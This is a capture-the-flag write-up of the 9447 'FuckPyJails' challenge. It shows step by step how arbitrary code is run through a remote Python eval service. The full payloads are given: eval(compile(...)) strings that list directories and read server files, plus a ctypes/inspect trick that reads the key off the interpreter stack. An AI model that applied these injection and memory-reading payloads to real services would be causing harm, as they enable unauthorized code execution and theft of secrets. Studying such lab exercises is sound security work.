Writeup 9447 – FuckPyJails

Writeup by Michael Tröger@Brutewoorse

Challenge Name:  FuckPyJails

Value: 150 points

In this challenge the following information was given:
Remote Code Execution as a Service
fuckpyjails.9447.plumbing
9447

In a browser you’ll see a typcial python traceback error, that GET could not be parsed. The next logical step was connecting to the server using telnet.

telnet fuckpyjails.9447.plumbing 9447
Trying 54.149.19.164...
Connected to fuckpyjails.9447.plumbing.
Escape character is '^]'.
>>>

It seems to be a python shell. If you type something, the response is a python error message at the following line.
if get_key() is eval(raw_input()):

The input will be fed to the eval command in python, which executes the user typed input and compares the result of eval with the result of the function get_key.
It is only possible to enter one command. Then the python program closes the connection.

It would be interesting to see, how the function get_key looks like. The python module “dis” can extract and show the python bytecode of functions:

>>> __import__("dis").dis(get_key)

9  0 LOAD_GLOBAL 0 (socket)

   3 LOAD_ATTR 0 (socket)

   6 LOAD_GLOBAL 0 (socket)

   9 LOAD_ATTR 1 (AF_UNIX)

   12 LOAD_GLOBAL 0 (socket)

   15 LOAD_ATTR 2 (SOCK_STREAM)

   18 CALL_FUNCTION 2

   21 STORE_FAST 0 (s)

   10 24 LOAD_FAST 0 (s)

   27 LOAD_ATTR 3 (connect)

   30 LOAD_CONST 1 ('/keyserver')

   33 CALL_FUNCTION 1

   36 POP_TOP

11 37 LOAD_FAST 0 (s)

   40 LOAD_ATTR 4 (recv)

   43 LOAD_CONST 2 (64)

   46 CALL_FUNCTION 1

   49 STORE_FAST 1 (r)

12 52 LOAD_FAST 0 (s)

   55 LOAD_ATTR 5 (close)

   58 CALL_FUNCTION 0

   61 POP_TOP

   13 62 LOAD_FAST 1 (r)

   65 RETURN_VALUE

This command shows the bytecode of the function get_key. You can see that the function opens a UNIX socket with the name keyserver and reads 64 Bytes. This server response will be the return value of get_key.
It is only possible to connect to UNIX Sockets when you are a process on the same operating system as the server. This means, that we cannot connect to the keyserver from outside.
How can we access the key on the keyserver?

Execution of arbitrary code

With some playing around with the eval and the compile command of python it was possible to execute any python code:

eval(compile('print “this is sparta”\nprint “this is another line”','com.py', 'exec'))

This eval-compile-combination which will be executed by the eval command in the program. Maybe it is possible to only use the compile command but I got some nasty error messages and this method seemed to be a robust solution at the time. The name com.py is some arbitrary name for the compile command. “exec” means that there will be more than one line to execute.

So we can execute something like

eval(compile('import os\nresult=os.listdir("/")\nresultstr=""\nfor elem in result:\n\tresultstr+=str(elem)+","\nprint resultstr','com.py', 'exec'))

This command show all files and folders in the / path of the server. The entry keyserver seems to be interesting.
Using

eval(compile('f = open("/keyserver", "r")\nresultstr= f.read()\nprint resultstr','com.py', 'exec'))

it was possible to read files. The file keyserver could not be read because this is no regular file, it is a unix socket.
By more playing around we could read the fuckpyjails.py, which is executed everytime we connect to the server:

eval(compile('f = open("/home/ctf/fuckpyjails.py", "r")\nresultstr= f.read()\nprint resultstr','com.py', 'exec'))

results in

results in 

!/usr/bin/env python 
import sys 
import socket 
import resource 

resource.setrlimit(resource.RLIMIT_NPROC, (0, 0)) 

def get_key(): 
	s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) 
	s.connect("/keyserver") 
	r = s.recv(64) 
	s.close() 
	return r 

sys.stdout.write(">>> ") 
sys.stdout.flush() 

if get_key() is eval(raw_input()): 
	print "Did you get the key?" 
else: 
	print "Fail!"

This step did not help that much. The key will not be printed or anything. We already knew how get_key looked like because we could easily understand the bytecode.

But we could try to connect to the keyserver socket:

eval(compile('import socket\ns = __import__("socket").socket(socket.AF_UNIX, socket.SOCK_STREAM)\ns.connect("/keyserver")\nresult=s.recv(64)\nprint result','com.py', 'exec'))

This returns “I already sent you the key, stupid!”

Also, the get_key function could not be executed again

eval(compile('print get_key()','com.py', 'exec'))

returns “I already sent you the key, stupid!”.

The UNIX Socket Server, which serves the key, sends the key only once per call. If we connect to the server via telnet again, a new instance of the keyserver and the python script are started. This means that we have only one try to read the key.
The function get_key is called in the “is”-comparison before our code will be executed in the eval. Therefore we can never retrieve the key the same way the get_key function did.
The result of get_key is not saved in a variable for easy access. The rewriting of the python script is also not possible as we do not have any write access.
But the result of get_key must exist somewhere in the memory of the python process such that it can be compared with the result of the eval command. There is a stack in python. How can this information be extracted?

Reading the stack: Theory

After a lot of searching I found a lot of modules. There is the traceback module which can analyse tracebacks after an exception occurred. There is also the ctypes module which can read C-like structures and datatypes in memory. But how do we know where the result of the get_key function lies in memory?
Then I found a code example using the module inspect. This code snippet can read the return value of a function after this function returned:

import ctypes, inspect, random 

def id2obj(i): 
    """convert CPython `id` back to object ref, by temporary pointer swap""" 
    tmp = None, 
    try: 
        ctypes.cast(id(tmp), ctypes.POINTER(ctypes.c_ulong))[3] = i 
        return tmp[0] 
    finally: 
        ctypes.cast(id(tmp), ctypes.POINTER(ctypes.c_ulong))[3] = id(None) 

def introspect(): 
    """pointer on top of value stack is id of the object about to be returned 
    FIXME adjust for sum(vars, locals) in introspected function 
    """ 
    fr = inspect.stack()[1][0] 
    print "caught", id2obj(ctypes.cast(id(fr), ctypes.POINTER(ctypes.c_ulong))[47]) 

def value(): 
    tmp = "TEST" 
    print "return", tmp 
    return tmp 

def foo(): 
    try: 
        return value() 
    finally: 
        introspect() 

if __name__ == "__main__": 
    foo() 

The function introspect can read the returnvalue of the function value in memory. The inspect module can read the stack and the ctypes module reads the return value.

I converted the snippet in a command for the server:

eval(compile('import ctypes, inspect, random\ndef id2obj(i):\n\ttmp = None,\n\ttry:\n\t\tctypes.cast(id(tmp), ctypes.POINTER(ctypes.c_ulong))[3] = i\n\t\treturn tmp[0]\n\tfinally:\n\t\tctypes.cast(id(tmp), ctypes.POINTER(ctypes.c_ulong))[3] = id(None)\ndef introspect():\n\tfr = inspect.stack()[1][0]\n\tprint "caught", id2obj(ctypes.cast(id(fr), ctypes.POINTER(ctypes.c_ulong))[47])\nintrospect()' ,'com.py', 'exec'))

I was not sure which stackframe to read. The inspect.stack function seems to return an array. The stackframe could be chosen with the yellow marked number.

Reading the stack: Implementation

Through playing around I could read the return value of the get_key function. The following listings show the commandline output of this. The number of the stackframe is yellow. The returnvalue of the introspect function is green. Some comments are written in blue.

>>> eval(compile('import ctypes, inspect, random\ndef id2obj(i):\n\ttmp = None,\n\ttry:\n\t\tctypes.cast(id(tmp), ctypes.POINTER(ctypes.c_ulong))[3] = i\n\t\treturn tmp[0]\n\tfinally:\n\t\tctypes.cast(id(tmp), ctypes.POINTER(ctypes.c_ulong))[3] = id(None)\ndef introspect():\n\tfr = inspect.stack()[1][0]\n\tprint "caught", id2obj(ctypes.cast(id(fr), ctypes.POINTER(ctypes.c_ulong))[47])\nintrospect()' ,'com.py', 'exec'))

caught <function introspect at 0x7fefb92aeed8> 
This is the function introspect we just called

Fail! 
Connection closed by foreign host. 
mft@mft-notebook:~/Projects/randomtest$ telnet fuckpyjails.9447.plumbing 9447 
Trying 54.149.19.164... 
Connected to fuckpyjails.9447.plumbing. 
Escape character is '^]'. 
>>> eval(compile('import ctypes, inspect, random\ndef id2obj(i):\n\ttmp = None,\n\ttry:\n\t\tctypes.cast(id(tmp), ctypes.POINTER(ctypes.c_ulong))[3] = i\n\t\treturn tmp[0]\n\tfinally:\n\t\tctypes.cast(id(tmp), ctypes.POINTER(ctypes.c_ulong))[3] = id(None)\ndef introspect():\n\tfr = inspect.stack()[2][0]\n\tprint "caught", id2obj(ctypes.cast(id(fr), ctypes.POINTER(ctypes.c_ulong))[47])\nintrospect()' ,'com.py', 'exec')) 

caught <built-in function eval> 
This is one of the eval functions, probably the one in the script

Fail! 
Connection closed by foreign host. 
mft@mft-notebook:~/Projects/randomtest$ telnet fuckpyjails.9447.plumbing 9447 
Trying 54.149.19.164... 
Connected to fuckpyjails.9447.plumbing. 
Escape character is '^]'. 
>>> eval(compile('import ctypes, inspect, random\ndef id2obj(i):\n\ttmp = None,\n\ttry:\n\t\tctypes.cast(id(tmp), ctypes.POINTER(ctypes.c_ulong))[3] = i\n\t\treturn tmp[0]\n\tfinally:\n\t\tctypes.cast(id(tmp), ctypes.POINTER(ctypes.c_ulong))[3] = id(None)\ndef introspect():\n\tfr = inspect.stack()[0][0]\n\tprint "caught", id2obj(ctypes.cast(id(fr), ctypes.POINTER(ctypes.c_ulong))[47])\nintrospect()' ,'com.py', 'exec')) 

caught <frame object at 0x7fbf96a345c0> 
Hm some frame object, whichever this is

Fail! 
Connection closed by foreign host. 
mft@mft-notebook:~/Projects/randomtest$ telnet fuckpyjails.9447.plumbing 9447 
Trying 54.149.19.164... 
Connected to fuckpyjails.9447.plumbing. 
Escape character is '^]'. 
>>> eval(compile('import ctypes, inspect, random\ndef id2obj(i):\n\ttmp = None,\n\ttry:\n\t\tctypes.cast(id(tmp), ctypes.POINTER(ctypes.c_ulong))[3] = i\n\t\treturn tmp[0]\n\tfinally:\n\t\tctypes.cast(id(tmp), ctypes.POINTER(ctypes.c_ulong))[3] = id(None)\ndef introspect():\n\tfr = inspect.stack()[1][1]\n\tprint "caught", id2obj(ctypes.cast(id(fr), ctypes.POINTER(ctypes.c_ulong))[47])\nintrospect()' ,'com.py', 'exec')) 

Connection closed by foreign host. 
Now the program crashes

mft@mft-notebook:~/Projects/randomtest$ telnet fuckpyjails.9447.plumbing 9447 
Trying 54.149.19.164... 
Connected to fuckpyjails.9447.plumbing. 
Escape character is '^]'. 
>>> eval(compile('import ctypes, inspect, random\ndef id2obj(i):\n\ttmp = None,\n\ttry:\n\t\tctypes.cast(id(tmp), ctypes.POINTER(ctypes.c_ulong))[3] = i\n\t\treturn tmp[0]\n\tfinally:\n\t\tctypes.cast(id(tmp), ctypes.POINTER(ctypes.c_ulong))[3] = id(None)\ndef introspect():\n\tfr = inspect.stack()[3][0]\n\tprint "caught", id2obj(ctypes.cast(id(fr), ctypes.POINTER(ctypes.c_ulong))[47])\nintrospect()' ,'com.py', 'exec')) 

caught 9447{seriously_eval_is_lame} 
YEAH. This is the flag, 

Fail! 
Connection closed by foreign host. 

With this method the flag could be captured.